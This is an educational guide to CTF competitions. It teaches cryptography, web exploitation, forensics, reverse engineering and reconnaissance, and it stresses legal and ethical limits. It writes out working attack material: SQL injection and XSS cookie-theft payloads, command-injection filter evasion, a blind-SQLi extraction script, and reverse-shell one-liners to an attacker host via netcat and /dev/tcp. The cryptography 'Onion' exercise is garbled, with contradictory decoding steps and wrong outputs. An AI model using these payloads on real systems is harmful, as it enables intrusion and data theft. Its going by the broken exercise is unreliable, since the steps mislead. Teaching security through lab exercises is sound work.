The Comprehensive Guide to CTF Competitions

Version 2.0 - Academic Edition
Author: Yau Ka Cheung

Table of Contents

1. Chapter 1: Introduction to CTFs & Ethics
2. Chapter 2: Cryptography
3. Chapter 3: Web Exploitation
4. Chapter 4: Forensics
5. Chapter 5: Reverse Engineering & Binary Exploitation
6. Chapter 6: Networking & Reconnaissance
7. Glossary

Chapter 1: Introduction to CTFs & Ethics

Learning Objectives

- Define Capture The Flag (CTF) competitions and their variants.
- Distinguish between ethical hacking and cybercrime under legal frameworks (CFAA/CMA).
- Apply the principles of Responsible Disclosure (ISO/IEC 29147).
- Demonstrate proficiency in basic Linux Command Line Interface (CLI) operations.

Core Concepts & Definitions

Capture The Flag (CTF) competitions are cybersecurity exercises where participants solve challenges to find a "flag" (a secret string). They mimic real-world security scenarios in a safe, gamified environment.

Key Terminology:

- **Flag:** The target string (e.g., CTF{w3lc0m3_h4ck3r}).
- **Shell:** A command-line interface to interact with an OS.
- **Root/Admin:** The superuser account with full system privileges.
- **Exploit:** Code or technique that takes advantage of a vulnerability.

Level 1: Fundamentals

Goal: Understand the environment and navigate the command line.

1.1 The Command Line Interface (CLI)

Hacking is rarely done with a mouse. You must master the keyboard.

Essential Commands:

- pwd (Print Working Directory): "Where am I?"

- ls (List): "What files are here?"
    - ls -la: Show hidden files (starting with .) and details.
- cd (Change Directory): "Go somewhere else."
    - cd ..: Go up one folder.
    - cat [file]: "Read this file."

1.2 Ethics: The Golden Rules

Hacking without permission is illegal and unethical.

1. **Ownership:** Do not hack what you do not own.
2. **Permission:** Written consent is mandatory. In the US, unauthorized access is a violation of the **Computer Fraud and Abuse Act (CFAA)**. In the UK, it falls under the **Computer Misuse Act (CMA)**.
3. **Privacy:** Respect the data you encounter.

Practice 1.1: The Hidden File

Scenario: You have a folder challenge.

1. Open your terminal.
2. Navigate to the folder: cd challenge
3. List files: ls -> Nothing visible?
4. List hidden: ls -la -> You see .flag.txt.
5. Read it: cat .flag.txt.

Challenge Question 1: What command would you use to read the first 10 lines of a very long file named access.log? (Hint: search for the head command).

Level 2: Intermediate

Goal: Set up a hacking lab and connect to remote systems.

2.1 Virtualization

Never hack from your host OS (Windows/Mac). Use a **Virtual Machine (VM)** like Kali Linux. It isolates dangerous code and keeps your personal data safe.

- **Hypervisor:** The software running the VM (VirtualBox, VMware).
- **Guest OS:** The virtualized system (Kali).

2.2 Remote Access (SSH)

Secure Shell (SSH) is the standard for encrypted remote login.

- **Syntax:** ssh user@ip_address -p port
- **Example:** ssh student@10.10.10.5 -p 22
- **Key-based Auth:** More secure than passwords. Uses a private key file (id_rsa) to authenticate.

Practice 2.1: The Remote Login

Scenario: You are given credentials: IP 192.168.1.50, User ctf, Pass toor.

1. Command: ssh ctf@192.168.1.50
2. Enter password: toor (It won't show on screen!).
3. Once logged in, run whoami to verify identity.

Challenge Question 2: You are trying to SSH into a server but get a "Connection Refused" error. What are two possible reasons? (1. SSH service is down/not running. 2. Firewall blocking port 22).

Level 3: Advanced

Goal: Automate tasks and understand the legal nuances.

3.1 Scripting Basics

A hacker who can't script is limited by their tools.

- **Bash Scripting:** Automating shell commands.
    - Loop: for i in {1..10}; do echo $i; done
- **Python:** The hacker's Swiss Army Knife.
    - Libraries like requests (Web) and pwntools (Binary) are essential.

3.2 Advanced Ethics: Responsible Disclosure

When a vulnerability is discovered, how should it be handled?

- **ISO/IEC 29147:** The international standard for vulnerability disclosure.
- **Process:**
    1. Verify the vulnerability (Proof of Concept).
    2. Identify the vendor's reporting mechanism (security.txt, Bug Bounty).
    3. Report securely (Encrypted).
    4. Allow reasonable time for remediation before public disclosure.

Practice 3.1: The Port Sweeper

Scenario: You need to check if 5 servers are alive.
Task: Write a one-line bash script to ping IPs 192.168.1.1 to 192.168.1.5.

- **Solution:** for i in {1..5}; do ping -c 1 192.168.1.$i; done

Challenge Question 3: Write a Python one-liner to print "Hack the Planet" 100 times.

Key Takeaways

- CTFs provide a legal playground for skill development.
- The CLI is the primary tool for interaction.
- Ethics distinguish professionals from criminals; always adhere to the RoE and legal frameworks (CFAA/CMA).

Chapter 2: Cryptography

Learning Objectives

- Differentiate between Encoding, Encryption, and Hashing.
- Analyze the weaknesses of historical ciphers.
- Apply XOR operations and identify its properties.
- Explain the RSA algorithm and common implementation flaws.

Core Concepts & Definitions

Cryptography is the science of secure communication. In CTFs, you are often the *cryptanalyst*, trying to break the code.

Key Terminology:

- **Plaintext:** The original message (M or P).
- **Ciphertext:** The scrambled message (C).
- **Key:** The secret password used to encrypt/decrypt (K).
- **Encoding:** Changing data format (e.g., Base64). No key needed.
- **Encryption:** Scrambling data for secrecy. Key needed.
- **Hashing:** One-way fingerprint of data. Standards defined in **NIST FIPS 180-4**.

Level 1: Fundamentals

Goal: Recognize and break historical ciphers.

1.1 Historical Ciphers

These rely on "Security by Obscurity."

- **Caesar Cipher:** Shifts every letter by N.
    - Math: $E_n(x) = (x + n) \pmod{26}$.
- **Substitution Cipher:** Replaces letters with symbols/other letters based on a key alphabet.

1.2 Basic Encoding

- **Base64:** The most common encoding (RFC 4648).
    - *Characteristic:* A-Z, a-z, 0-9, +, /. Often ends in padding =.
    - *Usage:* Transmitting binary data as text (e.g., in Email attachments).

Practice 1.1: The Caesar Box

Scenario: You find a note: Uryyb Jbeyq.

1. Go to dcode.fr/caesar-cipher (https://www.dcode.fr/caesar-cipher).
2. Input the text.
3. Click "Decrypt" (Brute-force all shifts).

4. Shift 13 gives: Hello World (This is ROT13).

Challenge Question 1: A string contains only numbers and letters A-F. What encoding is this likely to be? (Hexadecimal).

Level 2: Intermediate

Goal: Master the XOR operator and multi-step decoding.

2.1 The Magic of XOR ($\oplus$)

Exclusive OR is the foundation of modern crypto.

- **Logic:** $0 \oplus 0 = 0$, $0 \oplus 1 = 1$, $1 \oplus 0 = 1$, $1 \oplus 1 = 0$.
- **Property:** $(A \oplus B) \oplus B = A$. It is its own inverse.
- **One-Time Pad (OTP):** Theoretically unbreakable if the key is truly random and length of message.

2.2 Modern Symmetric: AES

Advanced Encryption Standard (AES) is the global standard (NIST FIPS 197).

- **Weakness: ECB Mode** (Electronic Codebook). It encrypts identical plaintext blocks into identical ciphertext blocks, failing to provide **diffusion**.

Practice 2.1: The Onion

Scenario: A string is encoded like this: Base64(Hex(Rot13("Flag"))).
Task: Decode NGQ2MTY2ZGM2MjYzNjQ=.

1. Open **CyberChef**.
2. Input: NGQ2MTY2ZGM2MjYzNjQ=
3. Recipe: "From Base64" -> Result: 4d6166dc626364
4. Add Recipe: "From Hex" -> Result: Maf\Übcd (Garbage?)
   - *Wait!* Let's check the hex. 4d=M, 61=a.
   - Try Rot13 first? No, Base64 was definitely last.
   - *Correction:* Base64 -> 4d61666463626364 -> Hex -> Mafdcbcd -> Rot13 -> Znsqpopq...
   - *Actual String:* ZmxhZw== -> Base64 -> flag.

Challenge Question 2: If you XOR a file with itself, what is the result? (All zeros).

Level 3: Advanced

Goal: Attack RSA and understand hashing collisions.

3.1 RSA Mathematics

RSA is asymmetric (Public Key + Private Key).

- $N = p \times q$ (Modulus).
- $\phi(N) = (p-1)(q-1)$ (Euler's Totient).
- $e$: Public Exponent (usually 65537).

- $d$: Private Exponent (Modular Multiplicative Inverse). $d \equiv e^{-1} \pmod{\phi(N)}$.
- **Encryption:** $C \equiv M^e \pmod N$.
- **Decryption:** $M \equiv C^d \pmod N$.

3.2 Hashing Collisions

Hashes are unique... theoretically.

- **MD5 Collision:** Two different files having the exact same MD5 hash. Historically broken.
- **Password Hashing:** Reference **NIST SP 800-132**. Do not use MD5/SHA1. Use slow hashes like **PBKDF2**, **Bcrypt**, or **Argon2** to resist brute-force.

Practice 3.1: Cracking Weak RSA

Scenario: You are given $N=33$, $e=7$.

1. Factorize $N$: $33 = 3 \times 11$. So $p=3, q=11$.
2. Calculate $\phi(N) = (p-1)(q-1) = 2 \times 10 = 20$.
3. Calculate $d$: $d$ must satisfy $(d \times e) \pmod {\phi(N)} = 1$.

    - $(d \times 7) \pmod{20} = 1$.
    - Try $d=3$: $21 \pmod{20} = 1$. Yes.
    - **Private Key (d) = 3.**

Challenge Question 3: Why is it dangerous to use the same modulus $N$ with different public exponents $e$ for two different users? (Hint: Common Modulus Attack).

Key Takeaways

- Encodings are readable; Encryption is secure.
- XOR is the building block of stream ciphers.
- RSA security relies on the difficulty of Integer Factorization.

Chapter 3: Web Exploitation

Learning Objectives

- Identify the components of the HTTP request/response cycle.
- Analyze and exploit SQL Injection vulnerabilities.
- Distinguish between Reflected and Stored XSS.
- Write scripts to automate blind attacks.

Core Concepts & Definitions

Web Exploitation involves finding and leveraging vulnerabilities in web applications to access unauthorized data or functionality.

- **OWASP Top 10:** The standard awareness document for web security.

Key Terminology:

- **Client-Side:** Code running in the browser (HTML, CSS, JavaScript).
- **Server-Side:** Code running on the server (PHP, Python, SQL).
- **Injection:** Inserting malicious data that the system interprets as code.

Level 1: Fundamentals

Goal: Understand how websites work and see what others miss.

1.1 HTTP Protocol

Defined by **RFC 7230** family.

- **Stateless:** Each request is independent. Cookies are used to maintain sessions.
- **Methods:** GET (retrieve), POST (submit), PUT, DELETE.

1.2 The URL Structure

http://example.com/search?q=apple&cat=fruit

- **Protocol:** http
- **Domain:** example.com
- **Path:** /search
- **Parameters:** q=apple and cat=fruit. **This is where you attack.**

Practice 1.1: The Inspector

Scenario: A login button is disabled.

1. Right-click the button -> "Inspect".
2. Find the HTML: <button disabled>Login</button>.
3. Double-click "disabled" and delete it.
4. Click the button.

Challenge Question 1: What HTTP header identifies your browser and OS to the server? (Commonly User-Agent).

Level 2: Intermediate

Goal: Perform manual injection attacks.

2.1 SQL Injection (SQLi) - Union Based

Code: SELECT * FROM users WHERE name = '$input';

- **The Attack:** Input ' OR 1=1 --
- **The Result:** SELECT * FROM users WHERE name = '' OR 1=1 --';
- **Deep Dive:** The -- comments out the rest of the query. 1=1 is always true, so it dumps the whole table.

2.2 Cross-Site Scripting (Reflected XSS)

- **Concept:** The server echoes your input back to the page without sanitizing it.

- **Payload:** <script>alert('XSS')</script>
- **Impact:** Stealing session cookies (document.cookie) leading to Session Hijacking.

Practice 2.1: The Admin Login

Scenario: A login form.

1. Username: admin' --
2. Password: (Empty)
3. **Result:** You are logged in as admin because the query became SELECT * FROM users WHERE user = 'admin' -- ... AND the password check was commented out.

Challenge Question 2: In SQL injection, what specific command is used to confirm the number of columns in the current table? (ORDER BY).

Level 3: Advanced

Goal: Automate attacks and exploit "Blind" vulnerabilities.

3.1 Blind SQL Injection

The server *doesn't* show errors or data. it only returns "Yes" (200 OK) or "No" (404/Empty).

- **Time-Based:** id=1; SLEEP(10) --. If the page pauses for 10 seconds, it's vulnerable.
- **Boolean-Based:** Ask true/false questions.

3.2 Command Injection (RCE)

Exploiting system() calls.

- **Filter Evasion:**
    - Space blocked? Use ${IFS} (Internal Field Separator).
    - cat blocked? Use /bin/c??.
- **Reverse Shell:** nc -e /bin/sh 10.10.10.5 4444.

Practice 3.1: Python for Blind SQLi

Task: Write a pseudo-script logic for extracting a 4-digit PIN.

```
import requests
pin = ""
for i in range(4):
    for digit in "0123456789":
        # Payload: Is the i-th character equal to digit?
        r = requests.get(f"http://target.com?id=1 AND substring(pin,{i+1},1)='{digit}'")
        if "User Found" in r.text:
            pin += digit
            break
print(pin)
```

Challenge Question 3: What tool in Burp Suite allows you to forcefully send thousands of slightly different requests to brute-force a login? (Intruder).

Key Takeaways

- Input Validation is the primary defense against Injection.
- The browser is an untrusted client; anything sent by it can be modified.
- Automation is required for Blind SQLi and Bruteforcing.

Chapter 4: Forensics

Learning Objectives

- Identify file types using Magic Bytes (Signatures).
- Analyze network traffic using the OSI Reference Model.
- Perform deep file analysis (Carving/Steganography).

Core Concepts & Definitions

Digital Forensics is the investigation and recovery of material found in digital devices.

- **Locard's Exchange Principle:** "Every contact leaves a trace."

Key Terminology:

- **Metadata:** Data about data (e.g., GPS location of a photo).
- **Header (Magic Bytes):** The unique signature at the start of a file identifying its format (See **Gary Kessler's File Signature Table**).
- **PCAP:** Packet Capture (network traffic recording).
- **Steganography:** Hiding a secret validly inside another file.

Level 1: Fundamentals

Goal: Extract visible text and metadata.

1.1 The strings Command

Binary files look like garbage in a text editor, but they often contain readable ASCII strings.

- **Command:** strings [filename]
- **Usage:** Finding hardcoded passwords, URLs, or flags.
- **Filter:** strings binary.exe | grep "CTF"

1.2 Metadata Analysis

Every file carries baggage.

- **ExifTool:** Reads image metadata.
    - *Look for:* Comments, Camera Model, GPS Coordinates.

Practice 1.1: The LOUD Whisper

Scenario: You are given image.jpg.

1. Run strings image.jpg.
2. Output is 10,000 lines.
3. Refine: strings image.jpg | grep "CTF".
4. Found: CTF{n0th1ng_1s_h1dd3n}.

Challenge Question 1: What command allows you to search for a specific case-insensitive pattern in a text file? (grep -i)

Level 2: Intermediate

Goal: Analyze file structures and use Steganography tools.

2.1 Magic Bytes & Hex Editors

Trust fingerprints, not extensions.

- **Hex Editor:** Tools like HxD or Okteta show the raw bytes.
- **Scenario:** A file named flag.txt won't open.
    - *Check bytes:* 89 50 4E 47... -> It's a PNG! Rename it to .png.

2.2 Binwalk

Files can be glued together.

- **Binwalk:** Scans a file for embedded file signatures.
- **Command:** binwalk -e [file] (Extracts recursively).

Practice 2.1: The Matryoshka Doll

Scenario: A large cat.jpg.

1. Run binwalk cat.jpg.
    - Result: Zip archive data, at offset 13050.
2. Run binwalk -e cat.jpg.
3. Open the extracted folder _cat.jpg.extracted.
4. Find flag.txt inside.

Challenge Question 2: What is the standard header (Magic Bytes) for a ZIP file? (PK or 50 4B)

Level 3: Advanced

Goal: Network analysis and Memory forensics.

3.1 Network Forensics (Wireshark)

Analyzing traffic using the **OSI Model**.

- **Layer 4 (Transport):** TCP/UDP Ports.
- **Layer 7 (Application):** HTTP, FTP.
- **Method:** Follow TCP Stream to reconstruct the conversation.

3.2 Memory Volatility

Analyzing RAM dumps (.mem files) to find running processes, clipboard contents, or cmd history.

- **Tool:** volatility framework.

Practice 3.1: The Intercept

Scenario: traffic.pcap. A user downloaded a secret file.

1. Open in Wireshark.
2. Filter: http.request.method == GET.
3. See a request for secret.pdf.
4. Go to File -> Export Objects -> HTTP.
5. Select secret.pdf and Save.

Challenge Question 3: In Wireshark, what color usually represents TCP retransmissions or bad checksums? (Black/Red, depending on profile).

Key Takeaways

- File Extensions are meaningless; Headers (Magic Bytes) are truth.
- Deleted data persists until overwritten.
- Network captures serve as a time-machine for attacks.

Chapter 5: Reverse Engineering & Binary Exploitation

Learning Objectives

- Describe the memory layout of a process (Stack vs Heap).
- Analyze code flow using Disassemblers and Decompilers.
- Execute Stack Buffer Overflow attacks.

Core Concepts & Definitions

Reverse Engineering (RevEng) is the process of deconstructing software to reveal its architecture and logic (Static Analysis). **Binary Exploitation (Pwn)** is using that knowledge to manipulate execution flow (Dynamic Analysis).

Key Terminology:

- **Binary/Executable:** Machine code (0s and 1s) run by the CPU.
- **Assembly (ASM):** Low-level human-readable representation. defined by Architecture (x86, x64, ARM).

  - *Reference:* **Intel 64 and IA-32 Architectures Software Developer’s Manual**.
- **Decompiler:** Tool to try and turn Binary back into Source Code.

Level 1: Fundamentals

Goal: Understand compiled vs interpreted code and find low-hanging fruit.

1.1 strings (Again)

Before opening a complex tool, always check strings.

- Many beginners "hardcode" passwords or flags directly into the binary.
- *Command:* strings game.exe | grep "password"

1.2 Basic Logic Patching

- **Hex Editing:** Changing a single byte to alter logic.
  - Change 74 (JE - Jump if Equal) to 75 (JNE - Jump if Not Equal).
  - This flips the logic: "If password is correct" becomes "If password is NOT correct".

Practice 1.1: The Hardcoded Pass

Scenario: login program asks for a PIN.

1. Run ./login. Input 1234. Result: "Access Denied".
2. Run strings login.
3. You see Enter PIN:, Access Denied, Access Granted, and 8492.
4. Run ./login and try 8492. Success!

Challenge Question 1: What does the instruction NOP (No Operation, 0x90) do? (It does nothing, allows execution to slide to the next instruction).

Level 2: Intermediate

Goal: Read C-like pseudocode using a Decompiler.

2.1 Ghidra

The NSA's open-source reverse engineering suite.

- **CodeBrowser:** The main window.
- **Decompiler Pane:** The magic window that shows you C code.
- **Analysis:** Renaming variables (e.g., changing iVar1 to user_input) makes code readable.

Practice 2.1: The Keygen

Scenario: A program generates a license key based on your name.

1. Open in **Ghidra**. Find main.
2. Decompile reads:

```
int valid = 0;
if (input + 5 == 100) { valid = 1; }
```

3. Logic: My input plus 5 must equal 100.
4. Solution: Input must be 95.

Challenge Question 2: In C, what function is commonly used to compare two strings? (strcmp)

Level 3: Advanced

Goal: Smash the Stack (Buffer Overflow).

3.1 Memory Layout

- **Stack:** Where local variables live. Grows down.
- **Return Address:** Tells the CPU where to go after a function finishes.
- **Buffer Logic:** If you write past the end of a buffer, you overwrite the Return Address.

3.2 GDB (GNU Debugger)

- gdb ./vuln: Start debugging.
- break main: Stop at the start.
- run: Start the program.
- x/10s $esp: Examine 10 lines of the stack pointer.

Practice 3.1: Controlling EIP

Scenario: vuln has a buffer of 64 chars.

1. Create input: Python print("A"*70).
2. Run inside GDB: run < input.txt.
3. App crashes: Segmentation Fault.
4. Check registers: info registers.
5. EIP is 0x41414141 (AAAA).
6. **Conclusion:** You control exactly where the program jumps next.

Challenge Question 3: What is "Shellcode"? (A small pieces of opcode used as the payload in an exploit to spawn a shell).

Key Takeaways

- Reverse Engineering recovers the original design.
- Memory safety vulnerabilities (Buffer Overflows) exist because C/C++ do not enforce boundary checks.
- Controlling the Instruction Pointer (EIP/RIP) constitutes full control.

Chapter 6: Networking & Reconnaissance

Learning Objectives

- Interpret IPv4 Addressing and CIDR notation.
- Execute Active (Nmap) and Passive (OSINT) reconnaissance.
- Establish Reverse and Bind shells using Netcat.

Core Concepts & Definitions

Networking is how computers communicate. **Reconnaissance** is gathering intelligence before an attack.

- **Protocol:** Rules of communication. **TCP/IP** is the suite of protocols governing the Internet.

Key Terminology:

- **IP Address:** The logical address of a machine.
    - **CIDR:** Classless Inter-Domain Routing (e.g., /24).
- **Port:** An end-point for a specific service (80 for Web, 22 for SSH). Defined by **IANA**.
- **WHOIS:** A database of domain owners.

Level 1: Fundamentals

Goal: Gather information without touching the target server.

1.1 Passive Recon (OSINT)

Using public information.

- **Google Dorking:** Advanced searches.
    - site:target.com filetype:pdf -> Finds leaked PDF documents.
- **Wayback Machine:** Viewing deleted pages of a website.

1.2 ping and whois

- ping google.com: "Are you alive?" Checks connectivity (ICMP).
- whois google.com: "Who owns you?" Checks registration info.

Practice 1.1: The Digital Detective

Scenario: You investigate megacorp.com.

1. Run whois megacorp.com.
2. Find the "Registrant Name" or "Admin Email".
3. Google that email to find social media profiles.

Challenge Question 1: What does tracert (Windows) or traceroute (Linux) do? (It maps every hop/router between you and the target).

Level 2: Intermediate

Goal: Map the target's attack surface with Nmap.

2.1 Nmap (Network Mapper)

The gold standard scanner.

- **Scan Types:**
    - -sS (SYN Scan): Stealthy. Sends SYN, receives SYN/ACK, sends RST. (See **RFC 793** for TCP State Machine).
    - -sV (Version): "Which Apache version is running?"
    - -p- (All ports): Scan 1-65535.

Practice 2.1: The Cartographer

Scenario: Target IP 10.10.10.5.

1. Run nmap -sV -sC 10.10.10.5.
2. Output:
    - Port 22: OpenSSH 7.2.
    - Port 80: Apache 2.4.18.
3. Analysis: Search Exploit-DB for "Apache 2.4.18 vulnerabilities".

Challenge Question 2: Why might a firewall block a "Ping" (ICMP) but allow a Web request (TCP 80)? (Security policy often blocks ICMP to hide presence, but Web must be open for business).

Level 3: Advanced

Goal: Establish Command & Control (C2) with Netcat.

3.1 Netcat (nc)

The "Swiss Army Knife". It reads and writes TCP/UDP connections.

- **Connect:** nc [IP] [PORT] -> Acts like a browser/client.
- **Listen:** nc -lvnp [PORT] -> Acts like a server.

3.2 The Reverse Shell

The "Holy Grail" of hacking.

1. **Attacker:** Starts a listener. nc -lvnp 4444.
2. **Victim:** Runs a command that connects BACK to the attacker and gives them a shell (/bin/sh).
    - Command: bash -i >& /dev/tcp/attacker_ip/4444 0>&1
3. **Result:** Attacker sees a command prompt of the victim machine.

Practice 3.1: Catching a Shell

Task: Simulate a reverse shell locally.

1. Terminal 1 (Attacker): nc -lvnp 9001
2. Terminal 2 (Victim): nc 127.0.0.1 9001 -e /bin/bash

3. Go back to Terminal 1. Type ls. You should see the files!

Challenge Question 3: What is a "Bind Shell"? (The opposite of Reverse Shell; the victim opens a port and listens, attacker connects to them. Less common due to firewalls blocking incoming ports).

Key Takeaways

- Reconnaissance dictates the success of an attack.
- Nmap is the essential tool for active mapping.
- Netcat enables raw data transfer and shell access.

Glossary

- **CFAA:** Computer Fraud and Abuse Act (US Law).
- **CVSS:** Common Vulnerability Scoring System.
- **Encode:** To convert data into a new format using a publicly available scheme (e.g., Base64).
- **Encrypt:** To scramble data using a secret key (e.g., AES).
- **Exploit:** Code/procedure that takes advantage of a vulnerability.
- **Hash:** A fixed-length string generated from data.
- **OSI Model:** Open Systems Interconnection model (7 Layers).
- **Payload:** The part of the exploit code that performs the malicious action (e.g., shellcode).
- **Root:** The superuser account on Linux systems.
- **Vulnerability:** A weakness in a system that can be exploited.